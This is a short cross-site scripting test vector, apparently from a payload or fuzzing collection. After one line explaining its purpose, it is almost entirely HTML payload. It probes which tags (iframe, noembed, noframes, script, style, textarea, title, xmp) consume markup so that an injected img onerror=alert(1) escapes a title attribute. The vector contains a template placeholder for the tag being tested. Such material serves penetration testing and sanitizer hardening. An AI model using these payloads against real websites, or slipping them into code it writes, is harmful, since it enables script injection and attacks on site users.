This vector shows what HTML tags consume markup and allow you to break out of attributes.
<$[data1]><div title="</$[data1]><found>"><iframe><div title="</iframe><img/src/onerror=alert(1)>"><noembed><div title="</noembed><img/src/onerror=alert(1)>"><noframes><div title="</noframes><img/src/onerror=alert(1)>"><script><div title="</script><img/src/onerror=alert(1)>"><style><div title="</style><img/src/onerror=alert(1)>"><textarea><div title="</textarea><img/src/onerror=alert(1)>"><title><div title="</title><img/src/onerror=alert(1)>"><xmp><div title="</xmp><img/src/onerror=alert(1)>">